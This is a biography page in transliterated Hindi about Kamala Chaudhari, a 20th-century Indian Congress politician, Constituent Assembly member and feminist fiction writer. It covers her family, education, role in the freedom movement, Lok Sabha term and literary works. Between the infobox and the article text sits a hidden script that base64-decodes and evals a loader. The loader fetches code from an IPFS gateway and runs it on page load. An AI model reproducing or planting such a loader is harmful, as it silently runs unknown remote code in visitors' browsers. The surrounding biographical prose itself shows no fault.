कमला चौधरी
kamala chaudhari
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| poora nam | kamala chaudhari |
| janm | 22 faravari, 1908 |
| janm bhoomi | lakhanoo, uttar pradesh |
| mrityu | 1970 |
| mrityu sthan | merath, uttar pradesh |
| abhibhavak | pita- ray manamohan dayal |
| nagarikata | bharatiy |
| prasiddhi | rajanitijn v samajik karyakarta |
| parti | bharatiy rashtriy kaangres |
| shiksha | hiandi sahity mean 'ratn' aur 'prabhakar' ki upadhi |
| vidyalay | panjab vishvavidhalay |
| any janakari | 'unmad' (1934), 'pikanik' (1936) 'yatra' (1947), 'bel patr' aur 'prasadi kamandal' kamala chaudhari ki pramukh rachanaean haian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kamala chaudhari (aangrezi: Kamla Chaudhry, janm- 22 faravari, 1908, lakhanoo; mrityu- 1970, merath) un mahila samaj-sudharakoan aur lekhikaoan mean se ek thian, jinhoanne mahilaoan ke jivan star mean sudhar lane ke lie samajik-rajanitik aur saanskritik star par prayas kiya. shahi sarakar ke lie apane parivar ki nishtha se door jane se kamala chaudhari rashtravadiyoan mean shamil ho geean aur sal 1930 mean gaandhiji dvara shuroo kiye ge 'nagarik avajna aandolan' mean unhoanne sakriyata se hissa liya. vah apane 50vean satr mean 'akhil bharatiy kaangres kameti' ki upadhyaksh thian aur sattar ke uttarardh mean lokasabha ke sadasy ke roop mean chuni gayi thian. kamala chaudhari ek prasiddh katha lekhika bhi thian. unaki kahaniyaan amataur par mahilaoan ki aantarik duniya ya adhunik rashtr ke roop mean bharat ke udbhav se nipatati thian.
parichay
uttar pradesh ke lakhanoo mean 22 faravari, 1908 ko dipti kalektar pita ray manamohan dayal ke ghar kamala chaudhari ka janm hua. l daki hone ke karan padhaee-likhaee karane ke lie unako parivar mean kaphi sangharsh karana p da. alag-alag shaharoan mean pali-badhi kamala chaudhari ne panjab vishvavidhalay se hiandi sahity mean ratn aur prabhakar ki upadhi hasil ki. sahity ke prati unaki roochi skooli jivan ke samay se hi thi. mahilaoan ke samajik sthiti ke bare mean lekhan bhi unhoanne skooli jivan ke samay shuru kar diya tha. 1927 ko kamala chaudhari ka vivah je.em. chaudhari se hua aur vah kamala chaudhari ho geean.[1]
rajanitik saphar
kamala chaudhari ka rajanitik saphar 1930 se shuroo hua, apani parivarik paranpara ko to dane hue vah bharatiy rashtriy kaangres mean shamil ho geean. mahatma gaandhi ke shuroo kie ge savinay avajna aandolan se desh ke ajadi milane tak kamala chaudhari desh ke svatantrata sangram ke sangharsh mean karavas tak ka saphar kiya.
sanvidhan sabha sadasy
san 1947 ke bad kamala chaudhari ne bharat ke sanvidhan bord ke ek nirvachit sadasy ke roop bharat ke sanvidhan ko praroopit karane mean mahatvapoorn bhoomika nibhaee, jisaka gathan 1950 mean hua. bad mean 1952 mean unhoanne bharat ki praantiy sarakar ke sadasy ke roop mean kary kiya. akhil bharatiy kaangres kameti ke pachasavean satr mean vah varishth upadhyaksh thian.
mukhar vakta
apane poore rajanitik kॅriyar ke dauran kamala chaudhari uttar pradesh rajy samaj kalyan salahakar bord ki sadasy hone ke alava zila kaangres kameti, shahar kaangres kameti se lekar praantiy mahila kaangres kameti ke vibhinn padoan par kam karati rahian. 1962 mean vah hapu d se am chunav jitian aur tisari lokasabha ki sadasy banian, us daur mean hapu d lokasabha mean gajiyabad ke kshetr ate the. ek saansad ke taur kamala chaudhari paanch sal lokasabha mean kaphi mukhar rahian. ek samaj sudharak ke roop mean, dil ke bahut karib hone ka karan mahilaoan ka utthan tha. kamala chaudhari ne l dakiyoan ki shiksha ke lie sakriy roop se kam kiya.
sahityik saphar
hiandi sahity se apane pyar ko lekar kamala chaudhari ne mahilaoan ke aantarik duniya ke charoan tarah ghoomane vali kahaniyoan par likhana shuroo kiya. unake vishay vishisht roop se narivadi rahe aur unhean akarshak aur bold mana jata tha. unake lekhan mean unake daur ki mahilaoan ke samajik-saanskritik sthitiyoan ka pata chalata hai jisaka prabhav bachapan se hi unake jivan par bhi p data raha. laiangik bhedabhav, vidhavapan, mahila ichchhaoan, mahila majadooroan ke shoshan aur mahilaoan ke manasik svasthy par prabhav jaise vishayoan par kamala chaudhari ka lekhan dekhane ko milata hai. unake lekhan mean mahilaoan ke jivan se ju di vah sachchaee dekhane ko milati hai. halaanki vishayoan ki sanvedanashilata ke bad bhi unake lekhan sahity ko us daur mean adhik pramukhata nahian mili. 'unmad' (1934), 'pikanik' (1936) 'yatra' (1947), 'bel patr' aur 'prasadi kamandal' unaki pramukh rachanaean haian. phir bhi unhoanne mahilaoan ke jivan mean sudhar ke lie ek samajik karyakartta ke roop mean kary karana jari rakha.[1]
mrityu
san 1970 mean kamala chaudhari ka nidhan merath mean hua. ek lekhika aur rajanitik karyakartta roop mean unaka jivan bemisal raha. phir bhi unaki sahityik upeksha hi nahian, rajanitik upeksha bhi nirasha paida karati hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 kamala chaudhari, jinhean sahity ke sath-sath rajaniti ne bhi bhula diya (hiandi) youthkiawaaz.com. abhigaman tithi: 06 faravari, 2020.
sanbandhit lekh
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